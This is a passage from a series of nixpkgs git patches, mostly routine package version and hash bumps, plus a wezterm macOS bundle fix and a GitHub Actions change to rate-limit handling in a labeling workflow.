b/pkgs/development/python-modules/wcmatch/default.nix index 4faf5b1805ce..ede8d0ace1db 100644 --- a/pkgs/development/python-modules/wcmatch/default.nix +++ b/pkgs/development/python-modules/wcmatch/default.nix @@ -9,12 +9,12 @@ buildPythonPackage rec { pname = "wcmatch"; - version = "10.0"; + version = "10.1"; format = "pyproject"; src = fetchPypi { inherit pname version; - hash = "sha256-5y8N4Ju6agTg3nCTewzwblXzbzez3rQi36+FS4Z7hAo="; + hash = "sha256-8R+UIIyMhIShb09IY4qF13HZUT9Ks/N1lZeIAcuUZa8="; }; nativeBuildInputs = [ hatchling ]; From 864a6fdd7f577e2cab3c44866017b2f5ce84b5d8 Mon Sep 17 00:00:00 2001 From: Sizhe Zhao Date: Tue, 24 Jun 2025 11:13:22 +0800 Subject: [PATCH 260/390] uv: 0.7.13 -> 0.7.14 --- pkgs/by-name/uv/uv/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix index 22407a8e6510..7defed8d3503 100644 --- a/pkgs/by-name/uv/uv/package.nix +++ b/pkgs/by-name/uv/uv/package.nix @@ -18,17 +18,17 @@ rustPlatform.buildRustPackage (finalAttrs: { pname = "uv"; - version = "0.7.13"; + version = "0.7.14"; src = fetchFromGitHub { owner = "astral-sh"; repo = "uv"; tag = finalAttrs.version; - hash = "sha256-/K8zTExK6G/Rrh/4g2CLS4rBbQovb6DvAL8puS7eM5w="; + hash = "sha256-RBcJuQ2NCFoNfhecR88fsKpdq0+YpvS7sSUkewIueEU="; }; useFetchCargoVendor = true; - cargoHash = "sha256-GsjBTqV7GO1NNI/3EMXN0S0TwPvdtP/PTTv6NbGa9a4="; + cargoHash = "sha256-pKANEM4XiRRRXY+AOym5mq2nrVa0iByKZ1UAkh80IrA="; buildInputs = [ rust-jemalloc-sys From 72d337c224a8ae43b365961b2e2511b580192988 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 03:37:52 +0000 Subject: [PATCH 261/390] sql-formatter: 15.6.4 -> 15.6.5 --- pkgs/by-name/sq/sql-formatter/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/sq/sql-formatter/package.nix b/pkgs/by-name/sq/sql-formatter/package.nix index af5cd874d745..ff558b167c06 100644 --- a/pkgs/by-name/sq/sql-formatter/package.nix +++ b/pkgs/by-name/sq/sql-formatter/package.nix @@ -11,13 +11,13 @@ }: stdenv.mkDerivation rec { pname = "sql-formatter"; - version = "15.6.4"; + version = "15.6.5"; src = fetchFromGitHub { owner = "sql-formatter-org"; repo = "sql-formatter"; rev = "v${version}"; - hash = "sha256-nrdr6h+q8jVXKM6xPXeQkGN3zqdUCPs/FVnPMfMPG3E="; + hash = "sha256-oNUQvNsdlLJn2JQdCV0Kp3oaXuLJuPGH+Pfe+gRog2E="; }; yarnOfflineCache = fetchYarnDeps { From 35974b1ee31bce1a66d9d25e901d0ee2e8d84819 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 03:38:47 +0000 Subject: [PATCH 262/390] terraform-providers.sakuracloud: 2.27.0 -> 2.28.0 --- .../networking/cluster/terraform-providers/providers.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/applications/networking/cluster/terraform-providers/providers.json b/pkgs/applications/networking/cluster/terraform-providers/providers.json index 0b5bbae055ab..b772c4db0161 100644 --- a/pkgs/applications/networking/cluster/terraform-providers/providers.json +++ b/pkgs/applications/networking/cluster/terraform-providers/providers.json @@ -1138,13 +1138,13 @@ "vendorHash": null }, "sakuracloud": { - "hash": "sha256-HGG6Tf1MR7V+AAo1ic9H1xWChSFiiEKfUN0D4QFUNfU=", + "hash": "sha256-vIP7hlPvx7o8/uXpg6TOEeoDL9FGaTBdXzziOyLrdGY=", "homepage": "https://registry.terraform.io/providers/sacloud/sakuracloud", "owner": "sacloud", "repo": "terraform-provider-sakuracloud", - "rev": "v2.27.0", + "rev": "v2.28.0", "spdx": "Apache-2.0", - "vendorHash": "sha256-dW3qlNRcmsuWidBYPmFpjBi2u+oT67UPJELAeALq1FY=" + "vendorHash": "sha256-hJmMNxlhyzcnguLFJih/K1CSZHIOspTgCJ8nyVjT7mg=" }, "scaleway": { "hash": "sha256-rAbCLMA4u+bOXbmGDdM5wHIzPytwuX8HTOUgYQwLAdg=", From 9abe80ee31cf7db5bfea0f5980846dab6c994356 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 04:08:02 +0000 Subject: [PATCH 263/390] python3Packages.switchbot-api: 2.5.0 -> 2.6.0 --- pkgs/development/python-modules/switchbot-api/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/switchbot-api/default.nix b/pkgs/development/python-modules/switchbot-api/default.nix index b9e2c961c8dd..3e6003c183b9 100644 --- a/pkgs/development/python-modules/switchbot-api/default.nix +++ b/pkgs/development/python-modules/switchbot-api/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "switchbot-api"; - version = "2.5.0"; + version = "2.6.0"; pyproject = true; disabled = pythonOlder "3.10"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "SeraphicCorp"; repo = "py-switchbot-api"; tag = "v${version}"; - hash = "sha256-Eesdd9tNXJQ0kilfuUxpAcUO+5Rf2HRyD0N71tKT/pw="; + hash = "sha256-vRV8n5hyx3t67W8MC8QW+3RrRqroAEpw2diMwmyQayI="; }; build-system = [ poetry-core ]; From c50af17f7852ce82d8d3984d659ce34820e1fed8 Mon Sep 17 00:00:00 2001 From: Marco Bulgarini Date: Tue, 24 Jun 2025 06:04:24 +0200 Subject: [PATCH 264/390] wezterm: fix app bundle on darwin Signed-off-by: Marco Bulgarini Co-authored-by: Sizhe Zhao --- pkgs/by-name/we/wezterm/package.nix | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/pkgs/by-name/we/wezterm/package.nix b/pkgs/by-name/we/wezterm/package.nix index 118a02e2c6b8..22d85651a88e 100644 --- a/pkgs/by-name/we/wezterm/package.nix +++ b/pkgs/by-name/we/wezterm/package.nix @@ -119,7 +119,12 @@ rustPlatform.buildRustPackage rec { cp -r assets/macos/WezTerm.app "$OUT_APP" rm $OUT_APP/*.dylib cp -r assets/shell-integration/* "$OUT_APP" - ln -s $out/bin/{wezterm,wezterm-mux-server,wezterm-gui,strip-ansi-escapes} "$OUT_APP" + # https://github.com/wezterm/wezterm/pull/6886 + # macOS will only recognize our application bundle + # if the binaries are inside of it. Move them there + # and create symbolic links for them in bin/. + mv $out/bin/{wezterm,wezterm-mux-server,wezterm-gui,strip-ansi-escapes} "$OUT_APP" + ln -s "$OUT_APP"/{wezterm,wezterm-mux-server,wezterm-gui,strip-ansi-escapes} "$out/bin" ''; passthru = { From f7359cfb204fa2fa38e712d628d74ef65cf0eece Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 05:03:20 +0000 Subject: [PATCH 265/390] python3Packages.dbt-semantic-interfaces: 0.8.1 -> 0.8.4 --- .../python-modules/dbt-semantic-interfaces/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/development/python-modules/dbt-semantic-interfaces/default.nix b/pkgs/development/python-modules/dbt-semantic-interfaces/default.nix index b5c870af0c2a..98f12396bfbd 100644 --- a/pkgs/development/python-modules/dbt-semantic-interfaces/default.nix +++ b/pkgs/development/python-modules/dbt-semantic-interfaces/default.nix @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "dbt-semantic-interfaces"; - version = "0.8.1"; + version = "0.8.4"; pyproject = true; disabled = pythonOlder "3.8"; @@ -28,7 +28,7 @@ buildPythonPackage rec { owner = "dbt-labs"; repo = "dbt-semantic-interfaces"; tag = "v${version}"; - hash = "sha256-gY2CJqN/ohYs4Qej451PexWcsM7N9GuHt79qC+NC7T4="; + hash = "sha256-H9PGU6pG/NhA7NyKaaw6B2RNlJLzKT7ilDHFTL7KGUY="; }; pythonRelaxDeps = [ "importlib-metadata" ]; @@ -59,7 +59,7 @@ buildPythonPackage rec { meta = with lib; { description = "Shared interfaces used by dbt-core and MetricFlow projects"; homepage = "https://github.com/dbt-labs/dbt-semantic-interfaces"; - changelog = "https://github.com/dbt-labs/dbt-semantic-interfaces/releases/tag/v${version}"; + changelog = "https://github.com/dbt-labs/dbt-semantic-interfaces/releases/tag/${src.tag}"; license = licenses.asl20; maintainers = with maintainers; [ pbsds ]; }; From ef105f441abeced5abb65ceca7f9daed94371485 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 05:21:06 +0000 Subject: [PATCH 266/390] nelm: 1.6.0 -> 1.7.0 --- pkgs/by-name/ne/nelm/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ne/nelm/package.nix b/pkgs/by-name/ne/nelm/package.nix index d976ad036d6d..38af6902694b 100644 --- a/pkgs/by-name/ne/nelm/package.nix +++ b/pkgs/by-name/ne/nelm/package.nix @@ -9,13 +9,13 @@ }: buildGoModule (finalAttrs: { pname = "nelm"; - version = "1.6.0"; + version = "1.7.0"; src = fetchFromGitHub { owner = "werf"; repo = "nelm"; tag = "v${finalAttrs.version}"; - hash = "sha256-bqVas9zF/xtL5K/7cOF/4q4weZtEBhfB5ngdAq0ZfjI="; + hash = "sha256-XAieAxfpNi2XpjG8lyatAqP13wicx3JFjckgSmiKqjA="; }; vendorHash = "sha256-bx8e5jV+ORnJg/35VwO7qodFjmSf7XbzTKZKp3b8hqc="; From 3515e24a18155120d39a82b8844b3bf67bc7cf9e Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 22:07:30 +0000 Subject: [PATCH 267/390] roddhjav-apparmor-rules: 0-unstable-2025-06-12 -> 0-unstable-2025-06-21 --- pkgs/by-name/ro/roddhjav-apparmor-rules/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ro/roddhjav-apparmor-rules/package.nix b/pkgs/by-name/ro/roddhjav-apparmor-rules/package.nix index 8e9602d21470..4da10f4c476f 100644 --- a/pkgs/by-name/ro/roddhjav-apparmor-rules/package.nix +++ b/pkgs/by-name/ro/roddhjav-apparmor-rules/package.nix @@ -7,13 +7,13 @@ stdenvNoCC.mkDerivation { pname = "roddhjav-apparmor-rules"; - version = "0-unstable-2025-06-12"; + version = "0-unstable-2025-06-21"; src = fetchFromGitHub { owner = "roddhjav"; repo = "apparmor.d"; - rev = "1f7e019500a87027fd03f89e148e52b71946e4c0"; - hash = "sha256-xw7MaPUXLZOla8LfmhdiFbf8xLke3OKh1wwBdWm9ENo="; + rev = "1aee62f52cb02cbdb054c233a350f4f07d828e48"; + hash = "sha256-5gK2JTct89HrjJHAVAPxEUyKf6ukHExFgNb3Os4kv9M="; }; dontConfigure = true; From 9034c1e40a24876a5c0aa8a64a0ba3af65995b2c Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 06:05:48 +0000 Subject: [PATCH 268/390] halo: 2.21.0 -> 2.21.1 --- pkgs/by-name/ha/halo/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ha/halo/package.nix b/pkgs/by-name/ha/halo/package.nix index e6250f0011e3..7057e304e91b 100644 --- a/pkgs/by-name/ha/halo/package.nix +++ b/pkgs/by-name/ha/halo/package.nix @@ -8,10 +8,10 @@ }: stdenv.mkDerivation rec { pname = "halo"; - version = "2.21.0"; + version = "2.21.1"; src = fetchurl { url = "https://github.com/halo-dev/halo/releases/download/v${version}/halo-${version}.jar"; - hash = "sha256-taEaHhPy/jR2ThY9Qk+cded3+LyZSNnrytWh8G5zqVE="; + hash = "sha256-1R4xeXANk2LUbIcHEEwNOnBhKsIBkf+naB9b9VSOg9w="; }; nativeBuildInputs = [ From fd751b2cae7edc93d8f4bf11916169aae84964aa Mon Sep 17 00:00:00 2001 From: Mathieu Rene Date: Sat, 21 Jun 2025 11:44:44 -0400 Subject: [PATCH 269/390] vscode: expose vscodeVersion as a passthru attribute --- pkgs/applications/editors/vscode/generic.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/applications/editors/vscode/generic.nix b/pkgs/applications/editors/vscode/generic.nix index be51acc0b3ac..c13d92c70251 100644 --- a/pkgs/applications/editors/vscode/generic.nix +++ b/pkgs/applications/editors/vscode/generic.nix @@ -144,6 +144,7 @@ stdenv.mkDerivation ( longName tests updateScript + vscodeVersion ; fhs = fhs { }; fhsWithPackages = f: fhs { additionalPkgs = f; }; From 083009d87284ebc4d90672534356fb7d66c9cff5 Mon Sep 17 00:00:00 2001 From: James Ward Date: Tue, 24 Jun 2025 00:27:19 -0600 Subject: [PATCH 270/390] maintainers/team-list: jetbrains add jamesward --- maintainers/team-list.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/maintainers/team-list.nix b/maintainers/team-list.nix index bdde7f2f5d41..0696cca7818b 100644 --- a/maintainers/team-list.nix +++ b/maintainers/team-list.nix @@ -630,6 +630,7 @@ with lib.maintainers; leona theCapypara thiagokokada + jamesward ]; shortName = "Jetbrains"; scope = "Maintainers of the Jetbrains IDEs in nixpkgs"; From 9079857aba0efeaca48dfddcc72fd4fe2b2803c8 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 06:41:34 +0000 Subject: [PATCH 271/390] auto-editor: 28.0.1 -> 28.0.2 --- pkgs/by-name/au/auto-editor/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/au/auto-editor/package.nix b/pkgs/by-name/au/auto-editor/package.nix index 1f47fd3fd7d6..a1fe3fa99ecb 100644 --- a/pkgs/by-name/au/auto-editor/package.nix +++ b/pkgs/by-name/au/auto-editor/package.nix @@ -7,14 +7,14 @@ python3Packages.buildPythonApplication rec { pname = "auto-editor"; - version = "28.0.1"; + version = "28.0.2"; pyproject = true; src = fetchFromGitHub { owner = "WyattBlue"; repo = "auto-editor"; tag = version; - hash = "sha256-n+9qesm2LCTXJ+X/hDaFQ5EjN+xfnLdl6G8+Qna/cyM="; + hash = "sha256-ozw5ZPvKP7aTBBItQKNx85hZ1T4IxX9NYCcNHC5UuuM="; }; postPatch = '' From a6e883907839ef0543d7b870a5d7346584a45889 Mon Sep 17 00:00:00 2001 From: Ryan Omasta Date: Tue, 24 Jun 2025 00:43:12 -0600 Subject: [PATCH 272/390] wiringpi: 3.10 -> 3.16 https://github.com/WiringPi/WiringPi/releases/tag/3.16 Diff: https://github.com/WiringPi/WiringPi/compare/3.10...3.16 --- pkgs/by-name/wi/wiringpi/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/wi/wiringpi/package.nix b/pkgs/by-name/wi/wiringpi/package.nix index 57d72b67bcbf..b57e32c5d1c5 100644 --- a/pkgs/by-name/wi/wiringpi/package.nix +++ b/pkgs/by-name/wi/wiringpi/package.nix @@ -7,12 +7,12 @@ }: let - version = "3.10"; + version = "3.16"; srcAll = fetchFromGitHub { owner = "WiringPi"; repo = "WiringPi"; - rev = version; - sha256 = "sha256-OWR+yo+SnYaMd8J+ku9ettZi+rDHcHlGZCoucCiRkCI="; + tag = version; + hash = "sha256-NBHmRA+6Os6/IpW8behbgpVjtN8QF9gkffXU2ZVC8ts="; }; mkSubProject = { From 8976f8ad3ba71ea5eaa3ca0dfd39e5b9e1500484 Mon Sep 17 00:00:00 2001 From: Ryan Omasta Date: Tue, 24 Jun 2025 00:45:05 -0600 Subject: [PATCH 273/390] wiringpi: remove `with lib`, add ryand56 as maintainer --- pkgs/by-name/wi/wiringpi/package.nix | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/pkgs/by-name/wi/wiringpi/package.nix b/pkgs/by-name/wi/wiringpi/package.nix index b57e32c5d1c5..fa51adc7e33f 100644 --- a/pkgs/by-name/wi/wiringpi/package.nix +++ b/pkgs/by-name/wi/wiringpi/package.nix @@ -78,11 +78,14 @@ symlinkJoin { passthru.wiringPiD passthru.gpio ]; - meta = with lib; { + meta = { description = "Gordon's Arduino wiring-like WiringPi Library for the Raspberry Pi (Unofficial Mirror for WiringPi bindings)"; homepage = "https://github.com/WiringPi/WiringPi"; - license = licenses.lgpl3Plus; - maintainers = with maintainers; [ doronbehar ]; - platforms = platforms.linux; + license = lib.licenses.lgpl3Plus; + maintainers = with lib.maintainers; [ + doronbehar + ryand56 + ]; + platforms = lib.platforms.linux; }; } From 24e7e47c91afc7e1c264c14c723a7f57e5241dee Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Mon, 23 Jun 2025 09:42:14 +0200 Subject: [PATCH 274/390] workflows/labels: dynamically adjust reservoir to remaining rate limit Instead of approximating how many requests we can still make and hoping the best that concurrent jobs won't break the bank, we can just work with the actual limits. By updating regularly, we make sure that concurrent jobs are taken into account. We always keep a reserve of 1000 requests to make sure *any* non-labeling jobs using this app will always succeed. This will allow us to easily backfill labels across multiple days, especially taking the increased rate limit for the app into account. With this, we should get up to 11.5k requests per hour in. --- .github/workflows/labels.yml | 34 +++++++++++++++++++++++++++++----- 1 file changed, 29 insertions(+), 5 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 7578af452f76..83cf0511fc5e 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -33,6 +33,8 @@ concurrency: # This is used as fallback without app only. # This happens when testing in forks without setting up that app. +# Labels will most likely not exist in forks, yet. For this case, +# we add the issues permission only here. permissions: issues: write # needed to create *new* labels pull-requests: write @@ -56,6 +58,8 @@ jobs: with: app-id: ${{ vars.NIXPKGS_CI_APP_ID }} private-key: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }} + # No issues: write permission here, because labels in Nixpkgs should + # be created explicitly via the UI with color and description. permission-pull-requests: write - name: Log current API rate limits @@ -89,15 +93,14 @@ jobs: const allLimits = new Bottleneck({ // Avoid concurrent requests maxConcurrent: 1, - // Hourly limit is at 5000, but other jobs need some, too! - // https://docs.github.com/en/rest/using-the-rest-api/rate-limits-for-the-rest-api - reservoir: 500, - reservoirRefreshAmount: 500, - reservoirRefreshInterval: 60 * 60 * 1000 + // Will be updated with first `updateReservoir()` call below. + reservoir: 0 }) // Pause between mutative requests const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits) github.hook.wrap('request', async (request, options) => { + // Requests to the /rate_limit endpoint do not count against the rate limit. + if (options.url == '/rate_limit') return request(options) stats.requests++ if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method)) return writeLimits.schedule(request.bind(null, options)) @@ -105,6 +108,26 @@ jobs: return allLimits.schedule(request.bind(null, options)) }) + async function updateReservoir() { + let response + try { + response = await github.rest.rateLimit.get() + } catch (err) { + core.error(`Failed updating reservoir:\n${err}`) + // Keep retrying on failed rate limit requests instead of exiting the script early. + return + } + // Always keep 1000 spare requests for other jobs to do their regular duty. + // They normally use below 100, so 1000 is *plenty* of room to work with. + const reservoir = Math.max(0, response.data.resources.core.remaining - 1000) + core.info(`Updating reservoir to: ${reservoir}`) + allLimits.updateSettings({ reservoir }) + } + await updateReservoir() + // Update remaining requests every minute to account for other jobs running in parallel. + const reservoirUpdater = setInterval(updateReservoir, 60 * 1000) + process.on('uncaughtException', () => clearInterval(reservoirUpdater)) + if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN)) throw new Error('Please enter "updated within" as integer in hours.') @@ -284,6 +307,7 @@ jobs: .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`)) core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`) + clearInterval(reservoirUpdater) - name: Log current API rate limits env: From 2cc803016c08c0b09a2d30b8872748844b00e9f7 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 07:02:25 +0000 Subject: [PATCH 275/390] oh-my-zsh: 2025-06-10 -> 2025-06-19 --- pkgs/by-name/oh/oh-my-zsh/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/oh/oh-my-zsh/package.nix b/pkgs/by-name/oh/oh-my-zsh/package.nix index d15357b7f6cf..4c8562f49092 100644 --- a/pkgs/by-name/oh/oh-my-zsh/package.nix +++ b/pkgs/by-name/oh/oh-my-zsh/package.nix @@ -19,14 +19,14 @@ }: stdenv.mkDerivation rec { - version = "2025-06-10"; + version = "2025-06-19"; pname = "oh-my-zsh"; src = fetchFromGitHub { owner = "ohmyzsh"; repo = "ohmyzsh"; - rev = "042605ee6b2afeb21e380d05b22d5072f0eeff44"; - sha256 = "sha256-qAD9lSjHDtZoWznbBAnUUI+bMa3DpXaaxNoY5fEN4lY="; + rev = "f8022980a3423f25e3d5e1b6a60d2372a2ba006b"; + sha256 = "sha256-o7UCVCSDh/GpzvAPWpD72MQlHIC06nQVhIBj7n/OxXo="; }; strictDeps = true; From 9c2c54e34bc0bc163f869ac1e51d1bdff8125d09 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 07:08:39 +0000 Subject: [PATCH 276/390] symfony-cli: 5.11.0 -> 5.12.0 --- pkgs/by-name/sy/symfony-cli/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/sy/symfony-cli/package.nix b/pkgs/by-name/sy/symfony-cli/package.nix index b2d1e183aa36..58e1350c33da 100644 --- a/pkgs/by-name/sy/symfony-cli/package.nix +++ b/pkgs/by-name/sy/symfony-cli/package.nix @@ -11,14 +11,14 @@ buildGoModule (finalAttrs: { pname = "symfony-cli"; - version = "5.11.0"; - vendorHash = "sha256-6DNirMtVuuWJziDy6HeJxHQnV2f7jmie7kcXvUDfN94="; + version = "5.12.0"; + vendorHash = "sha256-b0BdqqO6257KZ6O+AJ+XQVo+q1X9Msta4dmIfWKasyI="; src = fetchFromGitHub { owner = "symfony-cli"; repo = "symfony-cli"; rev = "v${finalAttrs.version}"; - hash = "sha256-r8B9lFcTG0TWb3U8eRzg9SkwUY90805wdFlmPbtMywk="; + hash = "sha256-xl8pKfAgaeEjtITMpp6urwPndIBXxSyYEcX0PpVK8nc="; leaveDotGit = true; postFetch = '' git --git-dir $out/.git log -1 --pretty=%cd --date=format:'%Y-%m-%dT%H:%M:%SZ' > $out/SOURCE_DATE From 37a725b5ef2ec49e3fb8dc89b409fe2327abeb26 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 07:12:16 +0000 Subject: [PATCH 277/390] python3Packages.lib4package: 0.3.2 -> 0.3.3 --- pkgs/development/python-modules/lib4package/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/lib4package/default.nix b/pkgs/development/python-modules/lib4package/default.nix index c1ff25fb161e..e8d7a3069254 100644 --- a/pkgs/development/python-modules/lib4package/default.nix +++ b/pkgs/development/python-modules/lib4package/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "lib4package"; - version = "0.3.2"; + version = "0.3.3"; pyproject = true; src = fetchFromGitHub { owner = "anthonyharrison"; repo = "lib4package"; tag = "v${version}"; - hash = "sha256-AxAnSxm8eEnfi63SedWIdUvad1bD4g0rqBk4W/DQGHY="; + hash = "sha256-x+JxBH4vfbXaq/e9PlKfkKvJVz2E3kotmsBhR8alhck="; }; build-system = [ From e26d01aff43d0d097daec233d4b6a181230c4a35 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 07:16:15 +0000 Subject: [PATCH 278/390] go-exploitdb: 0.5.0 -> 0.6.0 --- pkgs/by-name/go/go-exploitdb/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/go/go-exploitdb/package.nix b/pkgs/by-name/go/go-exploitdb/package.nix index 755df12c593e..dc97c37de83b 100644 --- a/pkgs/by-name/go/go-exploitdb/package.nix +++ b/pkgs/by-name/go/go-exploitdb/package.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "go-exploitdb"; - version = "0.5.0"; + version = "0.6.0"; src = fetchFromGitHub { owner = "vulsio"; repo = "go-exploitdb"; tag = "v${version}"; - hash = "sha256-7S6DuPCsT3mP4/W5Lsyg4RS7Km8dmYkrUhvSjlRhahc="; + hash = "sha256-Mihy8qk9lQKXFn6Hx1QaHfrhuxq3WOCC3XdtIx3K8Ds="; }; - vendorHash = "sha256-uqXNRfWWNvpDC3q+eDX3NOQIHz0di4/Vjh7r8OMsTr4="; + vendorHash = "sha256-Ya8l7BNRwsN1N9CpeiKGzJXHIvqrqcQphtvi+7DqwME="; ldflags = [ "-s" From 4b083a7db8bd55fad5acb8a794f3944e5f27472f Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 07:19:16 +0000 Subject: [PATCH 279/390] linuxKernel.kernels.linux_lqx: 6.15.2 -> 6.15.3 --- pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix index a8d728df3a3c..ecc2327c5c3b 100644 --- a/pkgs/os-specific/linux/kernel/zen-kernels.nix +++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix @@ -23,9 +23,9 @@ let }; # ./update-zen.py lqx lqx = { - version = "6.15.2"; # lqx + version = "6.15.3"; # lqx suffix = "lqx1"; # lqx - sha256 = "05996kw51z1j3rjz1asyj4cbcq283bwii0pxc29c6d5kd15883q9"; # lqx + sha256 = "13zzfb01sn4bsfwh6gk37078wvbixprc7dl4794wqh9anw28dmsw"; # lqx isLqx = true; }; }; From 4fe7209f36a2e9d9cb987b9cc6544e1d46cdc41e Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 07:34:04 +0000 Subject: [PATCH 280/390] lstr: 0.2.0 -> 0.2.1 --- pkgs/by-name/ls/lstr/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ls/lstr/package.nix b/pkgs/by-name/ls/lstr/package.nix index e412a55f7714..4561ace0098c 100644 --- a/pkgs/by-name/ls/lstr/package.nix +++ b/pkgs/by-name/ls/lstr/package.nix @@ -11,16 +11,16 @@ rustPlatform.buildRustPackage (finalAttrs: { pname = "lstr"; - version = "0.2.0"; + version = "0.2.1"; src = fetchFromGitHub { owner = "bgreenwell"; repo = "lstr"; tag = "v${finalAttrs.version}"; - hash = "sha256-Bg2tJYnXpJQasmcRv+ZIZAVteKUCuTgFKVRHw1CCiAQ="; + hash = "sha256-uaefVDSTphboWW1BP2HkcuMiW87FmnVYxCthlrAKF5Y="; }; - cargoHash = "sha256-KlO/Uz9UPea4DFC6U4hvn4kOWSzUmYmckw+IUstcmeQ="; + cargoHash = "sha256-UVaqkNV1cNpbCNphk6YMqOz077xY9dUBgCGt7SLIH0U="; nativeBuildInputs = [ pkg-config ]; From 00f33e6316283f98ae54b6890aeacd00a3511190 Mon Sep 17 00:00:00 2001 From: Pol Dellaiera Date: Tue, 24 Jun 2025 09:39:54 +0200 Subject: [PATCH 281/390] python313Packages.lib4package: fix description typo --- pkgs/development/python-modules/lib4package/default.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/development/python-modules/lib4package/default.nix b/pkgs/development/python-modules/lib4package/default.nix index e8d7a3069254..80b75dc97440 100644 --- a/pkgs/development/python-modules/lib4package/default.nix +++ b/pkgs/development/python-modules/lib4package/default.nix @@ -32,7 +32,7 @@ buildPythonPackage rec { meta = { changelog = "https://github.com/anthonyharrison/lib4package/releases/tag/${src.tag}"; - description = "Utility for handling package metadata to include in Software Bill of Materials (SBOMs"; + description = "Utility for handling package metadata to include in Software Bill of Materials (SBOMs)"; homepage = "https://github.com/anthonyharrison/lib4package"; license = lib.licenses.asl20; maintainers = with lib.maintainers; [ drupol ]; From 0531394d882e9f142fe334b9e741a953a38c95cb Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 07:41:50 +0000 Subject: [PATCH 282/390] mdbook-d2: 0.3.4 -> 0.3.5 --- pkgs/by-name/md/mdbook-d2/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/md/mdbook-d2/package.nix b/pkgs/by-name/md/mdbook-d2/package.nix index 8337e202b47e..61fac56e5559 100644 --- a/pkgs/by-name/md/mdbook-d2/package.nix +++ b/pkgs/by-name/md/mdbook-d2/package.nix @@ -6,17 +6,17 @@ rustPlatform.buildRustPackage rec { pname = "mdbook-d2"; - version = "0.3.4"; + version = "0.3.5"; src = fetchFromGitHub { owner = "danieleades"; repo = "mdbook-d2"; rev = "v${version}"; - hash = "sha256-iVPB4SAzspw8gZHzEQVFRbFjyPCkxrvXvhMszopzslE="; + hash = "sha256-+WCtvZXU8/FzOrc7LkxZKs5BhSdhqpOruxRfv+YY8Es="; }; useFetchCargoVendor = true; - cargoHash = "sha256-9D/osDyFwIhgv3scnnpsdN6S4qCPWuAU9tajENyWaXo="; + cargoHash = "sha256-bTPqvWl41r1ilKjUpCJNKi3MsWeiix38xma5im/LLKQ="; doCheck = false; meta = with lib; { From 